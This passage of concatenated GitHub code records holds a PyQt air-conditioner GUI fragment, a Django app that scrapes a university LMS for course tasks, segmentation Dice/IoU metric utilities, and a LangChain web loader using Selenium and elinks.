self.frame_3.setStyleSheet(\r\n                \"border-radius: 5px;  background:black;border: 0px groove black\"\r\n            )\r\n\r\n            power = 1\r\n\r\n    def mode_switch_to_hot(self, event):\r\n        global power\r\n        if power == 1:\r\n            self.frame_4.setStyleSheet(\r\n                \"border-radius: 5px;  background:red ; border: 0px groove black\"\r\n            )\r\n            self.label_shuzi.setText(\"26\")\r\n        else:\r\n            pass\r\n\r\n    def mode_switch_to_cool(self, event):\r\n        global power\r\n        if power == 1:\r\n            self.frame_4.setStyleSheet(\r\n                \"border-radius: 5px;  background:blue ; border: 0px groove black\"\r\n            )\r\n            self.label_shuzi.setText(\"20\")\r\n        else:\r\n            pass\r\n\r\n    def minesize(self, event):\r\n        self.showMinimized()\r\n\r\n\r\nif __name__ == \"__main__\":\r\n    app = QApplication(sys.argv)\r\n    a = AC()\r\n    sys.exit(app.exec_())\r\n", "repo_name": "lswlc33/super_AC", "sub_path": "AC.py", "file_name": "AC.py", "file_ext": "py", "file_size_in_byte": 3847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtCore.Qt", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 30, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 119, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 121, "usage_type": "call"}]}
{"seq_id": "14818087761", "text": "from django.shortcuts import redirect, render\r\nfrom django.contrib.auth.models import AnonymousUser, User\r\nfrom account.models import *\r\nfrom datetime import datetime\r\nimport time\r\nimport re\r\nimport json\r\nimport requests\r\nfrom django.views.decorators.csrf import csrf_exempt\r\nfrom bs4 import BeautifulSoup\r\n# Create your views here.\r\n\r\ndef finish(request):\r\n    return render(request,\"home.html\")\r\n    \r\ndef home(request):\r\n    #세션만들기\r\n    session=requests.session()\r\n    #로그인 하는 페이지의 general-requestURL에서 url 가져옴\r\n    url=\"https://lms.kau.ac.kr/login/index.php\"\r\n        \r\n    #가져오고 싶은 데이터 (form data)\r\n    data={\r\n        \"username\":Customer.objects.get(user = request.user).lmsId,\r\n        \"password\":Customer.objects.get(user = request.user).lmsPwd  \r\n    }\r\n    response=session.post(url, data=data ) #요청을 모방하면됨 (get, post, put 등)\r\n        \r\n    #로그인 실행\r\n    response.raise_for_status()\r\n        \r\n        \r\n    #LMS 접근\r\n    url=\"http://lms.kau.ac.kr/local/ubion/user/?year=2021&semester=10\"\r\n    response=session.get(url)\r\n    response.raise_for_status()\r\n\r\n    #Crawling 시작 \r\n    soup=BeautifulSoup(response.text,\"html.parser\")\r\n    #강의명 긁어오기+\r\n    courselist = soup.find(\"tbody\", {\"class\": \"my-course-lists\"})\r\n    courses = courselist.find_all('a')\r\n    print(\"강의 리스트\")\r\n    if(Class.objects.filter(user=request.user).exists()==False):\r\n        i=0\r\n        for course in courses:\r\n            i=i+1\r\n            userclass = Class(user=request.user, class_name = course.get_text(),rank=i)\r\n            userclass.save()\r\n            print(\"db 저장용 \", userclass.class_name)\r\n\r\n    print(\"------------------------------------\")\r\n    \r\n    # 강의 세부페이지 링크 긁어오기\r\n    id = 0\r\n    lectures = []\r\n    for link in courselist.find_all('a'):\r\n        id += 1\r\n        if(id==5):continue\r\n        # print(\"id : \", id)\r\n        url = link.get('href') #링크 긁어오기\r\n        response=session.get(url)   #링크로 넘어가기\r\n        response.raise_for_status()\r\n        soup=BeautifulSoup(response.text,\"html.parser\")\r\n\r\n        #강의 요일 긁어오자아아아아\r\n        topmenu = soup.find(\"ul\", {\"class\" : \"topmenu\"})\r\n        expand = topmenu.find(\"li\", {\"class\" : \"expand\"})\r\n        ul = expand.find(\"ul\")\r\n        li = ul.find(\"li\")\r\n        syllabus = li.find(\"a\", {\"class\" : \"submenu-syllabus \"})\r\n        # print(\"syllabus: \",li)\r\n        syllabus_link = li.find('a').get('href')\r\n        # print(\"syllabus_link: \",syllabus_link)\r\n        syllabusresponse=session.get(syllabus_link)\r\n        response.raise_for_status()\r\n        syllabussoup=BeautifulSoup(syllabusresponse.text,\"html.parser\")\r\n        course_syllabus = syllabussoup.find(\"div\", {\"class\": \"course_syllabus\"})\r\n        course_syllabus_tbody = course_syllabus.find(\"tbody\")\r\n        # print(course_syllabus_tbody)\r\n        course_syllabus_tr= course_syllabus_tbody.findAll(\"tr\")\r\n        # print(course_syllabus_tr[2])\r\n        course_td = course_syllabus_tr[2].find(\"td\")\r\n        def f(course_date): return {'월': '0', '화': '1', '수': '2', '목': '3', '금': '4'}[course_date]\r\n        date = course_td.get_text()[0]\r\n        course_date = f(date)\r\n        # print(\"요일: \",f(date))\r\n\r\n\r\n\r\n\r\n        course = soup.find(\"div\", {\"class\": \"total_sections\"})  #전체\r\n        firstweek = course.find(\"li\", {\"id\": \"section-12\"})\r\n        section = firstweek.find(\"ul\", {\"class\": \"section img-text\"}) \r\n        if section != None:\r\n            #li class activity assign modtype_assign (과제)\r\n            def extract_phrase(s):\r\n                    list = []\r\n                    pattern = re.compile(\"(?<=')[^']+(?=')\")\r\n                    for value in pattern.findall(s):\r\n                        list.append(value)\r\n                    return list[0]\r\n            lecture = {}\r\n            if section.find(\"li\", {\"class\": \"assign\"}) != None:\r\n                instance = section.find('li',class_=\"assign\")\r\n                assignment_name = instance.find(\"span\", {\"class\": \"instancename\"})\r\n                assignment_link = instance.find('a').get('href')\r\n                # print(\"과제명 : \", assignment_name.get_text())\r\n                # print(\"과제링크 : \", assignment_link)\r\n                response=session.get(assignment_link)   #링크로 넘어가기\r\n                response.raise_for_status()\r\n                soup=BeautifulSoup(response.text,\"html.parser\")\r\n                submissionstatus = soup.find(\"div\", {\"class\": \"submissionstatustable\"})\r\n                alltr = submissionstatus.find_all(\"tr\")\r\n                try:\r\n                    due = alltr[2].find(\"td\", {\"class\": \"cell c1 lastcol\"})\r\n                    duedate = due.get_text()\r\n                    duedatetime = datetime.strptime(duedate, '%Y-%m-%d %H:%M')\r\n                    dueweekday = duedatetime.weekday()\r\n                    \r\n                except:\r\n                    duedate = \"no duedate\"\r\n                # print(\"duedate : \", duedate.get_text())\r\n                # assignment = {'assignment_name' : assignment_name.get_text(), 'assignment_link' : assignment_link, 'assignment_duedate' : duedate.get_text()}\r\n                # lecture.append(assignment)\r\n                lecture[\"assignment_name\"] = assignment_name.get_text()\r\n                lecture[\"assignment_link\"] = assignment_link\r\n                lecture[\"assignment_duedate\"] = duedate\r\n                lecture[\"assignment_dueweekday\"] = dueweekday\r\n                \r\n\r\n            #li class activity vod modtype_vod (강의VOD)\r\n            if section.find(\"li\", {\"class\": \"vod\"}) != None:\r\n                instance = section.find(\"li\", {\"class\": \"vod\"})\r\n                vod_name = instance.find(\"span\", {\"class\": \"instancename\"})\r\n                str_link = instance.find('a').get('onclick')\r\n                vod_link = extract_phrase(str_link)\r\n                vod_duedate = instance.find(\"span\", {\"class\":\"text-ubstrap\"})\r\n                # print(\"vod 명 : \",vod_name.get_text())\r\n                # print(\"vod 링크 : \",vod_link)\r\n                # print(\"duedate : \",vod_duedate.get_text())\r\n                # vod = {'vod' : vod_name.get_text(), 'vod_link' : vod_link, 'vod_duedate': vod_duedate.get_text()}\r\n                lecture[\"vod\"] = vod_name.get_text()\r\n                lecture[\"vod_link\"] = vod_link\r\n                lecture[\"vod_duedate\"] = vod_duedate.get_text()\r\n                # lecture.append(vod)\r\n\r\n            #li class activity url modtype_url (강의 link)\r\n            if section.find(\"li\", {\"class\": \"url\"}) != None:\r\n                instance = section.find(\"li\", {\"class\": \"url\"})\r\n                link_name = instance.find(\"span\", {\"class\": \"instancename\"})\r\n                str_link = instance.find('a').get('onclick')\r\n                url_link = extract_phrase(str_link)\r\n                # print(\"강의 명 : \", link_name.get_text())\r\n                # print(\"강의 링크 : \",url_link)\r\n                # url = {'link_name': link_name.get_text(), 'url_link': url_link}\r\n                lecture[\"link_name\"] = link_name.get_text()\r\n                lecture[\"url_link\"] = url_link\r\n                # lecture.append(url)\r\n\r\n\r\n            #li class activity quiz modtype_quiz (퀴즈)\r\n            if section.find(\"li\", {\"class\": \"quiz\"}) != None:\r\n                instance = section.find(\"li\", {\"class\": \"quiz\"})\r\n                quiz_name = instance.find(\"span\", {\"class\": \"instancename\"})\r\n                # print(\"퀴즈 명 : \",quiz_name.get_text())\r\n                # quiz = {'quiz_name' : quiz_name.get_text()}\r\n                lecture['quiz_name'] = quiz_name.get_text()\r\n                if instance.find('a') != None:\r\n                    quiz_link = instance.find('a').get('href')\r\n                    # print(\"퀴즈 링크 : \",quiz_link)\r\n                    lecture['quiz_link'] = quiz_link\r\n                else:\r\n                    print(\"no link\")\r\n                    lecture['quiz_link'] = 'no link'\r\n                # lecture.append(quiz)\r\n        else:\r\n            # print(\"No Assginment / Lecture / Quiz\")\r\n            lecture = {}\r\n        # print(lecture)\r\n        lecture['course_date'] = course_date\r\n        each_lecture = {'id' : id, 'course': courses[id-1].get_text(), 'body' : lecture}\r\n        lectures.append(each_lecture)\r\n        # print(\"------------------------------------\")\r\n\r\n    # print(lectures)\r\n    cur_user = request.user\r\n    print(\"curuser:\", cur_user)\r\n    # if cur_user is None:\r\n    #     return render(request, \"mainLogin.html\")\r\n    # if cur_user.is_authenticated:\r\n    #     user = User.objects.get(user = request.user)\r\n    #     return render(request, \"home.html\")\r\n    # else:\r\n    #     return render(request, \"mainLogin.html\")\r\n    \r\n    if cur_user.is_anonymous:\r\n        print('aaa')\r\n        return redirect('mainLogin')\r\n    else:\r\n     return render(request, 'home.html', {'userlectures' : lectures})\r\n\r\n\r\n@csrf_exempt\r\ndef test(request):\r\n    if request.is_ajax():\r\n        #do something\r\n        request_data = json.loads(request.body)\r\n        dailytime = request_data['time']\r\n        # print(dailytime)\r\n        #dailytime = time.strftime('%H:%M:%S', time.gmtime(request_data['time']))\r\n\r\n        try:\r\n            id = Statistics.objects.filter(user = request.user)\r\n            date = Statistics.objects.filter(date = datetime.now())\r\n            curexits = Statistics.objects.get(user = request.user, date = datetime.now())\r\n        except Statistics.DoesNotExist:\r\n            id = None\r\n            date = None\r\n            curexits = None\r\n        # print(curexits)\r\n        if id != None:\r\n            if date != None : #오늘 날짜 존재\r\n                curexits.daily += dailytime\r\n                curexits.save()\r\n            else: #오늘 날짜 미존재\r\n                Statistic = Statistics(user=request.user, daily = dailytime, date = datetime.now())\r\n                Statistic.save()\r\n        else:\r\n            Statistic = Statistics(user=request.user, daily = dailytime, date = datetime.now())\r\n            Statistic.save()\r\n        \r\n        return render(request, 'home.html')\r\n    else:\r\n     return render(request, 'home.html')\r\n\r\ndef studycafe(request):\r\n    return render(request, 'studycafe.html')", "repo_name": "ezenjun/LMS_Scheduler", "sub_path": "LMS_Scheduler/lms/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 10334, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 18, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 39, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 64, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 77, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 99, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 112, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 118, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 118, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 199, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 201, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 208, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 215, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 215, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 216, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 216, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 227, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 227, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 230, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 230, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 233, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 235, "usage_type": "call"}, {"api_name": "django.views.decorators.csrf.csrf_exempt", "line_number": 204, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 238, "usage_type": "call"}]}
{"seq_id": "16217673328", "text": "import torch\r\nimport torch.nn as nn\r\nfrom torch.nn import functional as F\r\nfrom collections import OrderedDict\r\nimport numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nimport os\r\nfrom utils.others import *\r\n\r\nimport numpy as np\r\nimport cv2\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image\r\nimport torchvision.transforms as transforms\r\nimport os\r\nimport pandas as pd\r\n\r\n\r\ndef mkfile(file):\r\n    if not os.path.exists(file):\r\n        os.makedirs(file)\r\n\r\n\r\ndef dice_loss(pred, target):\r\n    \"\"\"\r\n    This definition generalize to real valued pred and target vector.\r\n    This should be differentiable.\r\n    pred: tensor with first dimension as batch\r\n    target: tensor with first dimension as batch\r\n    \"\"\"\r\n    smooth = 1.\r\n    # have to use contiguous since they may from a torch.view op\r\n    iflat = pred.contiguous().view(-1)\r\n    tflat = target.contiguous().view(-1)\r\n    intersection = (iflat * tflat).sum()\r\n\r\n    A_sum = torch.sum(iflat * iflat)\r\n    B_sum = torch.sum(tflat * tflat)\r\n\r\n    return 1 - ((2. * intersection + smooth) / (A_sum + B_sum + smooth))\r\ndef dice_coeff3(pred, target):\r\n    smooth = 1.\r\n    num = pred.size(0)\r\n    m1 = pred.view(num, -1)  # Flatten\r\n    m2 = target.view(num, -1)  # Flatten\r\n    intersection = (m1 * m2).sum()\r\n\r\n    return (2. * intersection + smooth) / (m1.sum() + m2.sum() + smooth)\r\nclass SoftDiceLoss(nn.Module):\r\n    \"\"\"\r\n    这个与前面的dice_loss差不多\r\n    \"\"\"\r\n    def __init__(self, weight=None, size_average=True):\r\n        super(SoftDiceLoss, self).__init__()\r\n\r\n    def forward(self, logits, targets):\r\n        probs = F.sigmoid(logits)\r\n        num = targets.size(0)  # Number of batches\r\n\r\n        score = dice_coeff3(probs, targets)\r\n        score = 1 - score.sum() / num\r\n        return score\r\n\r\n\r\n\r\n\"\"\"\r\n\r\n以下都是attunet作者的\r\n\r\n\"\"\"\r\ndef _fast_hist(label_true, label_pred, n_class):\r\n    \"\"\"\r\n\r\n    :param label_true:\r\n    :param label_pred:\r\n    :param n_class:\r\n    :return:\r\n    \"\"\"\r\n    # print('label_true:\\n{}'.format(label_true))\r\n    # print('label_pred:\\n{}'.format(label_pred))\r\n    mask = (label_true >= 0) & (label_true < n_class)\r\n    a = label_true[mask].astype(int)\r\n    b = label_pred[mask].astype(int)\r\n    c = n_class * a + b\r\n    # print('a:\\n{}'.format(a))\r\n    # print('b:\\n{}'.format(b))\r\n    # print('c:\\n{}'.format(c))\r\n    hist = np.bincount(c, minlength=n_class**2)\r\n    # print('hist1:\\n{}'.format(hist))\r\n    hist = hist.reshape(n_class, n_class)\r\n    # print('hist2:\\n{}'.format(hist))\r\n    return hist\r\n\r\ndef segmentation_scores(label_trues, label_preds, n_class):\r\n    \"\"\"Returns accuracy score evaluation result.\r\n      - 交集：np.diag取hist的对角线元素\r\n      - 并集：hist.sum(1)和hist.sum(0)分别按两个维度相加，而对角线元素加了两次，因此减一次\r\n\r\n      - overall accuracy\r\n      - mean accuracy\r\n      - mean IU\r\n      - fwavacc\r\n    \"\"\"\r\n    hist = np.zeros((n_class, n_class))\r\n    for lt, lp in zip(label_trues, label_preds):\r\n        hist += _fast_hist(lt.flatten(), lp.flatten(), n_class)\r\n    # print(hist)\r\n    acc = np.diag(hist).sum() / hist.sum()\r\n    acc_cls = np.diag(hist) / hist.sum(axis=1)\r\n    acc_cls = np.nanmean(acc_cls)\r\n    iu = np.diag(hist) / (hist.sum(axis=1) + hist.sum(axis=0) - np.diag(hist))\r\n    mean_iu = np.nanmean(iu)\r\n    freq = hist.sum(axis=1) / hist.sum()\r\n    fwavacc = (freq[freq > 0] * iu[freq > 0]).sum()\r\n\r\n    return {'overall_acc': acc,\r\n            'mean_acc': acc_cls,\r\n            'freq_w_acc': fwavacc,\r\n            'mean_iou': mean_iu}\r\n\r\ndef dice_score_list(label_gt, label_pred, n_class):\r\n    \"\"\"\r\n\r\n    :param label_gt: [WxH] (2D images)\r\n    :param label_pred: [WxH] (2D images)\r\n    :param n_class: number of label classes\r\n    :return:\r\n    \"\"\"\r\n    epsilon = 1.0e-6\r\n    assert len(label_gt) == len(label_pred)\r\n    batchSize = len(label_gt)\r\n    dice_scores = np.zeros((batchSize, n_class), dtype=np.float32)\r\n    for batch_id, (l_gt, l_pred) in enumerate(zip(label_gt, label_pred)):\r\n        for class_id in range(n_class):\r\n            img_A = np.array(l_gt == class_id, dtype=np.float32).flatten()\r\n            img_B = np.array(l_pred == class_id, dtype=np.float32).flatten()\r\n            score = 2.0 * np.sum(img_A * img_B) / (np.sum(img_A) + np.sum(img_B) + epsilon)\r\n            dice_scores[batch_id, class_id] = score\r\n\r\n    return np.mean(dice_scores, axis=0)\r\n\r\ndef segmentation_stats(pred_seg, target):\r\n    n_classes = pred_seg.size(1)\r\n    n_classes = n_classes + 1\r\n    # print('n_classes:{}'.format(n_classes))\r\n    # pred_lbls = pred_seg.data.max(1)[1].cpu().numpy().astype(np.int16)\r\n    pred_lbls = pred_seg.data.max(1)[0].cpu().numpy()\r\n    gt = np.squeeze(target.data.cpu().numpy(), axis=1)\r\n    gts, preds = [], []\r\n    for gt_, pred_ in zip(gt, pred_lbls):\r\n        gts.append(gt_)\r\n        preds.append(pred_)\r\n    # print('preds:\\n{}'.format(preds))\r\n    # print('gts:\\n{}'.format(gts))\r\n    iou = segmentation_scores(gts, preds, n_class=n_classes)\r\n    dice = dice_score_list(gts, preds, n_class=n_classes)\r\n    return iou, dice\r\n\r\ndef get_segmentation_stats(prediction, target):\r\n    seg_scores, dice_score = segmentation_stats(prediction, target)\r\n    seg_stats = [('Overall_Acc', seg_scores['overall_acc']), ('Mean_IOU', seg_scores['mean_iou'])]\r\n    for class_id in range(dice_score.size):\r\n        seg_stats.append(('Class_{}'.format(class_id), dice_score[class_id]))\r\n    return OrderedDict(seg_stats)\r\n\r\n\"\"\"\r\nCENet's dice_coeff\r\n\"\"\"\r\nclass dice_bce_loss(nn.Module):\r\n    def __init__(self, batch=True):\r\n        super(dice_bce_loss, self).__init__()\r\n        self.batch = batch\r\n        self.bce_loss = nn.BCELoss()\r\n\r\n    def soft_dice_coeff(self, y_true, y_pred):\r\n        smooth = 0.0  # may change\r\n        if self.batch:\r\n            i = torch.sum(y_true)     # y_true里面的全部元素相加\r\n            j = torch.sum(y_pred)\r\n            # print('i:{}'.format(i))\r\n            # print('j:{}'.format(j))\r\n            intersection = torch.sum(y_true * y_pred)   # 两者相乘之后，再全部元素\r\n            # print('intersection:{}'.format(intersection))\r\n        else:\r\n            i = y_true.sum(1).sum(1).sum(1)\r\n            j = y_pred.sum(1).sum(1).sum(1)\r\n            intersection = (y_true * y_pred).sum(1).sum(1).sum(1)\r\n        score = (2. * intersection + smooth) / (i + j + smooth)\r\n        # print('score_mean:{}'.format(score.mean()))\r\n        # score = (intersection + smooth) / (i + j - intersection + smooth)#iou\r\n        return score.mean()\r\n\r\n    def soft_dice_loss(self, y_true, y_pred):\r\n        loss = 1 - self.soft_dice_coeff(y_true, y_pred)\r\n        return loss\r\n\r\n    def __call__(self, y_true, y_pred):\r\n        a = self.bce_loss(y_pred, y_true)\r\n        b = self.soft_dice_loss(y_true, y_pred)\r\n        return b\r\n\r\n\r\n'''\r\nif __name__ == '__main__':\r\n    pred = torch.Tensor([[[[1, 0, 1],\r\n                           [1, 0, 0],\r\n                           [0, 0, 1]]]])\r\n    gt = torch.Tensor([[[[1, 1, 1],\r\n                         [0, 1, 0],\r\n                         [1, 0, 1]]]])\r\n    # print('gt:\\n'.format(gt))\r\n    # print('pred:\\n'.format(pred))\r\n\r\n    # test iou\r\n    iou, dice = segmentation_stats(gt, pred)\r\n    # print('iou:{}'.format(iou))\r\n    # print('dice:{}'.format(dice))\r\n\r\n    # test dice\r\n    loss = dice_bce_loss()\r\n    dice_bce = loss.soft_dice_coeff(gt, pred)\r\n    # print('dice_bce:\\n{}'.format(dice_bce))\r\n'''\r\n\r\n\r\n\r\ndef log_rmse(gt, pred):\r\n\r\n    a, b = segmentation_stats(gt, pred)\r\n    mean_iou = a['mean_iou']\r\n    mean_acc = a['mean_acc']\r\n    dic_coeff = dice_bce_loss()\r\n    b = dic_coeff.soft_dice_coeff(gt, pred)\r\n    dic = b.cpu().item()\r\n    # print(\"mean_iou:\\n{}\".format(mean_iou))\r\n    # print(\"mean_acc:\\n{}\".format(mean_acc))\r\n    # print(\"dice coeff:\\n{}\".format(dic))\r\n    return mean_iou, mean_acc, dic\r\n\r\n", "repo_name": "0706captin/Train_AttUNet", "sub_path": "utils/criterion.py", "file_name": "criterion.py", "file_ext": "py", "file_size_in_byte": 7877, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.exists", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 39, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 40, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 51, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 59, "usage_type": "name"}, {"api_name": "numpy.bincount", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 112, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 113, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 114, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 134, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 134, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 137, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 138, "usage_type": "attribute"}, {"api_name": "numpy.sum", "line_number": 139, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 150, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 166, "usage_type": "call"}, {"api_name": "torch.nn.Module", "line_number": 171, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 171, "usage_type": "name"}, {"api_name": "torch.nn.BCELoss", "line_number": 175, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 175, "usage_type": "name"}, {"api_name": "torch.sum", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 181, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 184, "usage_type": "call"}]}
{"seq_id": "4169319258", "text": "\"\"\"Load html from files, clean up, split, ingest into FAISS.\"\"\"\nimport pickle\nfrom typing import Any, List, Optional, Tuple\nfrom langchain.docstore.document import Document\nfrom langchain.document_loaders import WebBaseLoader\nfrom langchain.embeddings import OpenAIEmbeddings\nfrom langchain.text_splitter import TokenTextSplitter\nfrom langchain.vectorstores.faiss import FAISS\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urljoin\nimport requests\nfrom selenium import webdriver\nfrom selenium.webdriver.firefox.service import Service as FirefoxService\nfrom selenium.webdriver.firefox.options import Options\nfrom selenium.webdriver.firefox.firefox_binary import FirefoxBinary\nimport contextlib\nimport lxml.html as LH\nimport lxml.html.clean as clean\nimport requests\nimport os\nimport re\nimport tqdm\nimport time\n\nclass APIReferenceLoader(WebBaseLoader):\n    \"\"\"\n    Loader that uses Elinks and Selenium to load webpages.\n    With customization to scrape the code.\n\n    :param web_path: a string, the path of the website to be scraped\n    :param header_template: an optional dictionary, for customizing request headers\n    :param strategy: an optional string, specifies the scraping strategy,\n                     defaults to \"selenium_elinks\"\n    :param is_visible_scrape: a bool, whether to perform a visible content scraping,\n                              defaults to False\n    \"\"\"\n\n    def __init__(self, web_path: str, header_template: Optional[dict] = None, strategy: Optional[str] = \"selenium_elinks\", is_visible_scrape: bool = False):\n        # Initialize the WebBaseLoader\n        super().__init__(web_path=web_path, header_template=header_template)\n        \n        # Initialize the Firefox driver\n        self.driver = self.init_firefox_driver()\n        \n        # Set the scraping strategy\n        self.strategy = strategy\n        \n        # Set whether to perform a visible content scraping\n        self.is_visible_scrape = is_visible_scrape\n\n    def _scrape_bs4(self, url: str) -> Any:\n        \"\"\"\n        Scrape the webpage using BeautifulSoup4.\n\n        :param url: a string, the URL of the webpage to be scraped\n        :return: a BeautifulSoup object\n        \"\"\"\n        # Send a GET request to the URL\n        html_doc = self.session.get(url)\n        \n        # Create a BeautifulSoup object from the HTML text\n        soup = BeautifulSoup(html_doc.text, \"html.parser\")\n        \n        return soup\n\n    def load(self) -> List[Document]:\n        \"\"\"\n        Load data into document objects.\n\n        :return: a List of Document objects containing the scraped content\n        \"\"\"\n        # Implement different scraping strategies\n        if self.strategy == \"bs4\":\n            soup = self._scrape_bs4(self.web_path)\n            text = soup.get_text()\n        elif self.strategy == \"selenium_elinks\":\n            text = self._scrape_SelElinks(self.web_path)\n        else:\n            raise ValueError(\"Strategy not supported\")\n\n        metadata = {\"source\": self.web_path}\n        return [Document(page_content=text, metadata=metadata)]\n\n    def find_common_words(self, s, t):\n        \"\"\"\n        Find the common words between two strings.\n\n        :param s: a string\n        :param t: another string\n        :return: a List of common words between s and t\n        \"\"\"\n\n        # Split input strings into words\n        s_words = s.split()\n        t_words = t.split()\n\n        # Find common words\n        common_words = [word for word in s_words if word in t_words]\n\n        return common_words\n\n    def insert_missing_words(self, s, t, common_words):\n        \"\"\"\n        Insert missing words from visible text into the target text (structured elements).\n\n        :param s: a string, the source string\n        :param t: a string, the target string\n        :param common_words: a List of common words between s and t\n        :return: a string, the target string with missing words inserted\n        \"\"\"\n        s_words = s.split()\n        t_words = t.split()\n        missing_words = []\n\n        for i in range(len(common_words)-1):\n            start, end = common_words[i], common_words[i+1]\n            start_idx = s_words.index(start)\n            end_idx = s_words.index(end)\n            missing_words.extend(s_words[start_idx+1:end_idx])\n\n        for word in missing_words:\n            if word not in t_words:\n                t_words.insert(t_words.index(common_words[-1])+1, word)\n\n        t_new = \" \".join(t_words)\n        return t_new\n\n    def init_firefox_driver(self):\n        \"\"\"\n        Initialize a headless Firefox browser.\n\n        :return: a webdriver.Firefox object, representing the headless browser\n        \"\"\"\n        options = Options()\n        options.headless = True\n        options.binary = FirefoxBinary(\"/usr/bin/firefox\")\n        service = FirefoxService(executable_path=\"geckodriver\")\n        driver = webdriver.Firefox(service=service, options=options)\n        return driver\n\n    def scrape_visible_elements(self, url):\n        \"\"\"\n        Scrape the visible elements of the page using a headless browser and Selenium.\n\n        :param url: a string, the URL of the webpage to be scraped\n        :return: a string, the scraped visible content of the webpage\n        \"\"\"\n        ignore_tags = ('style')\n        with contextlib.closing(self.driver) as browser:\n            browser.get(url)  # Load page\n            time.sleep(10)\n            content = browser.page_source\n            cleaner = clean.Cleaner()\n            content = cleaner.clean_html(content)\n            doc = LH.fromstring(content)\n            texts = []\n            for elt in doc.iterdescendants():\n                if elt.tag in ignore_tags:\n                    continue\n                text = elt.text or ''\n                tail = elt.tail or ''\n                words = ' '.join((text, tail)).strip()\n                if words:\n                    texts.append(words)\n            return \" \".join(texts)\n\n    def scrape_structured_elements(self, url):\n        \"\"\"\n        Scrape the structured elements of the page using text-based web browser Elinks.\n\n        :param url: a string, the URL of the webpage to be scraped\n        :return: a string, the scraped structured content of the webpage\n        \"\"\"\n        response = self.session.get(url)\n        with open(\"/tmp/struct.html\", \"w\") as f:\n            f.write(response.text)\n        os.system(\"elinks --dump /tmp/struct.html > /tmp/struct.txt\")\n        with open(\"/tmp/struct.txt\", \"r\") as f:\n            lines = f.readlines()\n        text = \"\".join(lines)\n        return text\n\n    def _scrape_SelElinks(self, url):\n        \"\"\"\n        Combine the best from both worlds: visual and structured elements.\n\n        :param url: a string, the URL of the webpage to be scraped\n        :return: a string, the combined scraped content of the webpage\n        \"\"\"\n        struct_text = self.scrape_structured_elements(url)\n        struct_text = self.clean_text(struct_text)\n        \n        if self.is_visible_scrape:\n            vis_text = self.scrape_visible_elements(url)\n            t_joint = self.insert_missing_words(\n                vis_text, struct_text, self.find_common_words(vis_text, struct_text))\n            with open(\"/tmp/debug_vis.txt\", \"w\") as f:\n                f.write(self.clean_text(t_joint))\n            return self.clean_text(t_joint)\n        return struct_text\n\n    def clean_text(self, text):\n        \"\"\"\n        Clean up the text.\n\n        :param text: a string, the text to be cleaned\n        :return: a string, the cleaned text\n        \"\"\"\n        delete_str = \"Visible links\"\n        index = text.find(delete_str)\n        if index != -1:\n            text = text[:index]\n        text = re.sub(r'\\n\\s*\\n', '\\n', 